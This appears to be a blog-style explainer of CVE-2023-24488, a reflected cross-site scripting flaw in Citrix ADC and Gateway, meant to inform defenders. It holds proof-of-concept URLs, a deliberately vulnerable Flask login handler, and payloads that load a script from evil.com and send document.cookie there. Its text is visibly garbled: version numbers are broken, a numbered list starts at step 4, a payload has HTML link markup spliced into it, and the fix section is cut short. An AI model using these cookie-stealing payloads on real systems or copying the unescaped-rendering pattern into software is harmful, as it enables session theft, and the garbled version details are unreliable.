CVE-2023-24488 - Exploiting Cross-Site Scripting in Citrix ADC and Citrix Gateway

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Introduction

In early 2023, a critical security vulnerability—CVE-2023-24488—was disclosed affecting Citrix ADC (formerly NetScaler) and Citrix Gateway. This vulnerability allows attackers to perform Cross-Site Scripting (XSS) attacks against users interacting with a vulnerable Citrix instance. In this exclusive long read, we’ll explore what this vulnerability is, how it can be exploited, and what organizations must do to stay protected.

What is CVE-2023-24488?

CVE-2023-24488 is a Cross-Site Scripting (XSS) flaw in Citrix ADC and Citrix Gateway. An authenticated or sometimes unauthenticated attacker can inject malicious JavaScript code into web pages served to other users. If the victim loads the injected script, their browser will execute attacker-supplied code under the privileges of the Citrix application.

Here’s what Citrix says about the issue:
> “A reflected cross-site scripting (XSS) vulnerability exists in Citrix ADC and Citrix Gateway that could, if exploited, allow an attacker to execute arbitrary JavaScript in the browser of another user accessing the appliance’s management interface.”
(See Citrix Security Bulletin)

Who is Affected?

Citrix ADC and Citrix Gateway version 13.1 earlier than 13.1-49.15
Citrix ADC and Citrix Gateway version 13. earlier than 13.-92.21
(And other earlier supported builds)

Any organization that uses Citrix ADC or Gateway appliances to deliver remote apps or desktops, web access, or SSL VPN services could be at risk.

How Does the Exploit Work?

The attacker sends a specially-crafted HTTP request to a vulnerable URL. Malicious script code is placed inside a request parameter (for example, the login field), which the application then reflects back in an error message or form without proper escaping. If another user interacts with this page, the injected code runs in their browser.

4. The script is executed in the victim’s browser, stealing session cookies, redirecting to a malicious site, or performing actions as their account.

Example Exploit: Simple Proof of Concept

Here’s a basic exploit crafted for demonstration purposes.
Note: Never test this outside of a controlled, authorized environment!

Let’s say the vulnerable Citrix ADX endpoint is
https://citrix.example.com/login

Suppose the web app improperly reflects the contents of the username parameter.

Malicious URL

https://citrix.example.com/login?username=<script>alert('XSS')</script>

What happens?
If the Citrix device is vulnerable, when a user clicks this link, the browser will pop an alert window displaying “XSS.” A real attacker could use this to steal cookies, hijack sessions, or target administrative actions.

Sample vulnerable code (for illustration)

# This is NOT the actual Citrix code.
# For demo only: shows the type of vulnerability

from flask import request, render_template_string

@app.route('/login')
def login():
    username = request.args.get('username', '')
    # Bad: user input rendered without escaping
    return render_template_string(f"<html><body>Hello, {username}</body></html>")

If a user visits /login?username=<script>alert(1)</script>, the script runs immediately.

A real attacker can use payloads such as

<script src="https://evil.com/steal.js"></script>;

<svg/onload=alert('Hacked')>

to exfiltrate data or carry out further attacks.

Demo: XSS in Citrix ADC

Let’s run through what an attack might look like, step by step.

`

https://citrix.example.com/login?error=...

https://citrix.example.com/login?username=fetch('<a href="https://evil.com?cookie='+document.cookie" rel="nofollow">https://evil.com?cookie='+document.cookie</a>)

Victim logs in.

The browser executes the attacker’s JavaScript, sending credentials, tokens, or cookies to the attacker’s server.

Citrix ADC and Gateway 13.-92.21 and later

Follow Citrix’s official guidance:
https://support.citrix.com/article/CTX491364/

References & Further Reading

- Citrix Security Advisory CTX491364
- NVD Detail – CVE-2023-24488
- OWASP: Cross Site Scripting (XSS)

Conclusion

CVE-2023-24488 is a powerful reminder that even high-end networking gear can contain simple but devastating vulnerabilities. In Citrix’s case, a single unescaped input is all it takes for attackers to pounce. Always keep your appliances patched, train your users, and keep an eye out for new vulnerabilities!

Stay safe out there.

*Have more questions about Citrix vulnerabilities or need help testing your exposure? Reach out to your security team or a trusted cybersecurity consultant.*

Timeline

Published on: 07/10/2023 21:15:00 UTC
Last modified on: 07/11/2023 13:28:00 UTC